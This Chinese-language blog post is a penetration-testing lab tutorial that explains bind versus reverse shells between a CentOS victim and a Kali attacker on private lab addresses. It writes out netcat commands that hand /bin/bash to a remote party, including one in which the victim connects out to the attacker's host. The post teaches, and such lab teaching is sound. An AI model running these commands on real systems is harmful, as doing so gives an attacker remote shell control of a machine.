正向Shell和反向Shell


简介

一般在获取 Shell 时分为两种,一种是正向 Shell,另一种是反向 Shell。这两种获取 Shell 的方式在渗透测试过程中都是有可能使用到的,简单来区分一下正向 Shell 和反向 Shell 的区别。如果使用客户端(攻击方)主动连接服务器(受害机),这种称为正向 Shell;反之,如果服务器(受害机)主动连接客户端(攻击方),那就是反向 Shell。

环境

系统 IP
服务器(受害端) CentOS 192.168.80.130
客户端(攻击方) Kali 192.168.80.135

为了方便区分机器,我在 CentOS 系统的主目录下创建了一个 centos.txt 的文件以便区分。

正向 Shell

首先在受害者机器(192.168.80.130)上开启监听

nc -lvp 7777 -e /bin/bash

正向shell-1

然后在攻击方 Kali 机器(192.168.80.135)使用 nc 进行正向连接,连接受害者机器。

nc 192.168.80.130 7777

正向shell-2

这样就用 Kali 获取到了一个正向的 Shell。

反向 Shell

反向 Shell 需要首先在 Kali 攻击方(192.168.80.135)机器上开启监听

nc -lvp 7777

然后受害者机器上开启连接 Kali 机器

nc 192.168.80.135 7777 -e /bin/bash

这样就成功从 CETOS 获取到了反向的 Shell,结果如下图所示:
反向shell

踩到的坑

在连接 Shell 中遇到了 bash No route to host 这样的问题,其原因是 CentOS 开启了防火墙导致的,关闭防火墙或开放对应端口即可。


文章作者: Writeup
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Writeup !
 上一篇
phpStudy 后门漏洞检测分析与漏洞复现 phpStudy 后门漏洞检测分析与漏洞复现
前言:phpStudy 是国内一款免费的 PHP 调试环境的工具包,并且集成了 Apache、Nginx、MySQL、PHPMyadmin等不同版本软件于一身,也是一款搭建网站的强大工具。在2019年9月20日,网上爆出 phpStudy
2020-10-08
下一篇 
Linux下进行大文件的拆包与合并 Linux下进行大文件的拆包与合并
简介:当在网络上进行超大文件传输的时候就需要用到两种技术,其一是断点续传,保证文件传输得到的数据的完整性,另外一个就是进行拆包与合并。今天的主角就是拆包与合并,将一个大文件拆完之后进行逐个传输,然后再进行合并,且要保证文件的完整性。 一、普
2020-10-08
  目录